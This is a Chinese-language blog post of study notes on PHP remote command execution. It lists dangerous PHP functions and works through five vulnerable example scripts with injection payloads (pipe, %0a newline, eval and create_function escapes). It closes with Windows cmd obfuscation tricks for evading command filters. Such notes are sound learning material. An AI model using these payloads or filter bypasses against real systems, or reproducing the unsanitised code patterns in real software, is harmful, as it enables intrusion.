远程命令执行(复习笔记)

  • 执行系统命令

  assert  system  passthru  exec  pcntl_exec  popen  proc_open  ''(反单引号)

  • 代码执行与加密

  eval  assert  call_user_func  base64_decode  gzinflate  gzunconpress  gzdecode  str_rot13

  • 文件包含与生成

  require   require_once  include  include_once  file_get_contents  file_put_contents  fputs  fwrite 

  .htaccess:  SetHandler  auto_prepend_file  auto_append_file

  

  例题一:

<?php
  system("ping -c 2 ".$_GET['ip']);
?>

   上述没有任何过滤    当  ip=127.0.0.1 | whoami  即可执行whoami 命令

  

  例题二:

 

<?php
  if (!(preg_match('/^\d{1,3}\.\d{1,3}\.\d{1,3}.\d{1,3}$/m', $_GET['ip']))) {
     die("Invalid IP address");
  }
  system("ping -c 2 ".$_GET['ip']);
?>

  上述正则 若IP不是 xxx.xxx.xxx.xxx 则终止提示 Invalid IP address

  此处可使用%0a 换行进行绕过

  ip=127.0.0.1%0awhoami     执行whoami

 

  例题三:

<?php
  if (!(preg_match('/^\d{1,3}\.\d{1,3}\.\d{1,3}.\d{1,3}$/', $_GET['ip']))) {
     header("Location: example3.php?ip=127.0.0.1");
  }
  system("ping -c 2 ".$_GET['ip']);

?>

  上述代码有重定向  但是可以通过抓包来实现绕过

  在抓到的包中 ip=127.0.0.1|%20whoami 执行whoami

  

  例题四:

<?php 
  $str="echo \"Hello ".$_GET['name']."!!!\";";

  eval($str);
?>

  name=%22;phpinfo();//;//)  (%22为 " )绕过执行phpinfo();

 

  例题五:

<?php
class User{
  public $id, $name, $age;
  function __construct($id, $name, $age){
    $this->name= $name;
    $this->age = $age;
    $this->id = $id;
  }   
}
  require_once('../header.php');
  require_once('../sqli/db.php');
   $sql = "SELECT * FROM users ";

   $order = $_GET["order"];
   $result = mysql_query($sql);
  if ($result) {
      while ($row = mysql_fetch_assoc($result)) {
      $users[] = new User($row['id'],$row['name'],$row['age']);
    }
    if (isset($order)) { 
      usort($users, create_function('$a, $b', 'return strcmp($a->'.$order.',$b->'.$order.');'));
    }
   }   

      ?>
      <table class='table table-striped' >
      <tr>
         <th><a href="example2.php?order=id">id</th>
         <th><a href="example2.php?order=name">name</th>
         <th><a href="example2.php?order=age">age</th>
      </tr>
      <?php

    foreach ($users as $user) {  
         echo "<tr>";
             echo "<td>".$user->id."</td>";
             echo "<td>".$user->name."</td>";
             echo "<td>".$user->age."</td>";
         echo "</tr>";
      }  
      echo "</table>";
  require '../footer.php';
?>

  理解create_function相当于function($args){方法代码部分}     order=id);;)}phpinfo();// 闭合绕过

 

 

命令执行漏洞绕过过滤   摘选自 https://bbs.zkaq.cn/t/4557.html

 

    whoami //正常执行
    w"h"o"a"m"i //正常执行
    w"h"o"a"m"i" //正常执行
    wh""o^a^mi //正常执行
    wh""o^am"i //正常执行
    ((((Wh^o^am""i)))) //正常执行

 

    set a=who
    set b=ami
    %a%%b% //正常执行whoami
    set a=w""ho
    set b=a^mi
    %a%%b% //根据前一知识点进行组合,正常执行whoami
    set a=ser&& set b=ne&& set c=t u && call %b%%c%%a%
    //在变量中设置空格,最后调用变量来执行命令

 

    %a:~0% //取出a的值中的所有字符
    此时正常执行whoami
    %a:~0,6% //取出a的值,从第0个位置开始,取6个值
    此时因为whoami总共就6个字符,所以取出后正常执行whoami
    %a:~0,5% //取5个值,whoam无此命令
    %a:~0,4% //取4个值,whoa无此命令

 

posted on 2021-01-30 14:54  z_kkkk  阅读(61)  评论(0)    收藏  举报

导航